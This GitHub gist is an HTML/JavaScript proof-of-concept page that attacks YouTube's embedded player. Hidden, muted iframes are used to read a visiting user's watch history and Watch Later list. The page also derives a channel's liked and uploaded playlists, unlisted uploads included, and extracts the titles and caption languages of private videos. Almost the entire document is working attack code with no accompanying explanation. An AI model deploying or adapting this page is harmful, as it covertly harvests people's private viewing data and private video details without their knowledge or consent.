Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
<!DOCTYPE html>
<html>
<body>
<div id="iframes"></div>
<h1>untargeted attacks:</h1>
<div style="height:400px;width:200px;overflow:auto;float:left;">
<h2>History:</h2>
<ul id="historylist">
</ul>
</div>
<div style="height:400px;width:200px;overflow:auto;">
<h2>Watch Later:</h2>
<ul id="wllist">
</ul>
</div>
<h1>targeted attacks:</h1>
<input type="text" placeholder="Own Channel ID" id="channelid">
<button type="button" id="start">start targeted attack</button>
<br>
<div style="height:400px;width:200px;overflow:auto;float:left;">
<h2>Liked videos:</h2>
<ul id="likedlist">
</ul>
</div>
<div style="height:400px;width:200px;overflow:auto;">
<h2>Uploaded videos: (inc. unlisted!)</h2>
<ul id="uploadlist">
</ul>
</div>
<br>
<h2>Get private video data:</h2>
<input type="text" placeholder="Private video ID" id="privateid">
<button type="button" id="startprivate">get private video data</button>
<div style="height:400px;width:200px;overflow:auto;">
<h2>Data:</h2>
<ul id="privatelist">
</ul>
</div>
<script src="https://code.jquery.com/jquery-latest.min.js" type="text/javascript"></script>
<script src="https://www.youtube.com/iframe_api" type="text/javascript"></script>
<script>
var historyif;
var wlif;
var likedif;
var liked2if;
var uploadedif;
var uploaded2if;
function onYouTubeIframeAPIReady() {
$('#iframes').append('<iframe id="historyif" src="https://www.youtube.com/embed?list=HL&enablejsapi=1"></iframe><iframe id="wlif" src="https://www.youtube.com/embed?list=WL&enablejsapi=1"></iframe>')
historyif = new YT.Player('historyif', {
events: {
'onReady': function(){historyif.mute();historyif.playVideo();},
}});
setTimeout(function(){ onHistoryReady() }, 5000);
wlif = new YT.Player('wlif', {
events: {
'onReady': function(){wlif.mute();wlif.playVideo();},
}});
setTimeout(function(){ onWlReady() }, 5000);
$("#start").click(function(){
var channelid = $("#channelid").val().substr(3);
var likedplaylist = "LLD" + channelid;
var liked2playlist = "LLB" + channelid;
var uploadedplaylist = "UUD" + channelid;
var uploaded2playlist = "UUB" + channelid;
$('#iframes').append('<iframe id="likedif" src="https://www.youtube.com/embed?list=' + likedplaylist + '&enablejsapi=1"></iframe><iframe id="liked2if" src="https://www.youtube.com/embed?list=' + liked2playlist + '&enablejsapi=1"></iframe><iframe id="uploadif" src="https://www.youtube.com/embed?list=' + uploadedplaylist + '&enablejsapi=1"></iframe><iframe id="upload2if" src="https://www.youtube.com/embed?list=' + uploaded2playlist + '&enablejsapi=1"></iframe>')
likedif = new YT.Player('likedif', {
events: {
'onReady': function(){likedif.mute();likedif.playVideo();},
}});
liked2if = new YT.Player('liked2if', {
events: {
'onReady': function(){liked2if.mute();liked2if.playVideo();},
}});
setTimeout(function(){ onLikedReady() }, 5000);
uploadif = new YT.Player('uploadif', {
events: {
'onReady': function(){uploadif.mute();uploadif.playVideo();},
}});
upload2if = new YT.Player('upload2if', {
events: {
'onReady': function(){upload2if.mute();upload2if.playVideo();},
}});
setTimeout(function(){ onUploadReady() }, 5000);
});
$("#startprivate").click(function(){
var privateid = $("#privateid").val();
$('#iframes').append('<iframe id="private' + privateid + '" src="https://www.youtube.com/embed/' + privateid + '?enablejsapi=1"></iframe>')
privateif = new YT.Player('private' + privateid);
setTimeout(function(){ onPrivateReady() }, 3000);
})
}
function onHistoryReady(event){
var videos = historyif.l.playlist;
historyif.pauseVideo();
console.log(videos)
for (var video in videos) {
$("#historylist").append('<li><a href="https://www.youtube.com/watch?v=' + videos[video] + '">' + videos[video] + '</a></li>');
}
}
function onWlReady(event){
var videos = wlif.l.playlist;
wlif.pauseVideo();
console.log(videos)
for (var video in videos) {
$("#wllist").append('<li><a href="https://www.youtube.com/watch?v=' + videos[video] + '">' + videos[video] + '</a></li>');
}
}
function onLikedReady(event){
var videos = likedif.l.playlist;
likedif.pauseVideo();
console.log(videos)
for (var video in videos) {
$("#likedlist").append('<li><a href="https://www.youtube.com/watch?v=' + videos[video] + '">' + videos[video] + '</a></li>');
}
var videos = liked2if.l.playlist;
liked2if.pauseVideo();
console.log(videos)
for (var video in videos) {
$("#likedlist").append('<li><a href="https://www.youtube.com/watch?v=' + videos[video] + '">' + videos[video] + '</a></li>');
}
}
function onUploadReady(event){
var videos = uploadif.l.playlist;
uploadif.pauseVideo();
console.log(videos)
for (var video in videos) {
$("#uploadlist").append('<li><a href="https://www.youtube.com/watch?v=' + videos[video] + '">' + videos[video] + '</a></li>');
}
var videos = upload2if.l.playlist;
upload2if.pauseVideo();
console.log(videos)
for (var video in videos) {
$("#uploadlist").append('<li><a href="https://www.youtube.com/watch?v=' + videos[video] + '">' + videos[video] + '</a></li>');
}
}
function onPrivateReady(event){
var videodata = privateif.getVideoData();
privateif.loadModule("captions");
privateif.mute("captions");
privateif.playVideo("captions");
setTimeout(function(){ getCaptionData() }, 2000);
console.log(videodata);
$("#privatelist").append('<li>Title: ' + videodata.title + '</li><li>Caption languages:</li>');
}
function getCaptionData(){
var tracklist = privateif.getOption("captions", "tracklist");
privateif.pauseVideo();
console.log(tracklist);
for (var caption in tracklist) {
$("#privatelist").append('<li>' + tracklist[caption].displayName + '</li>');
}
}
</script>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment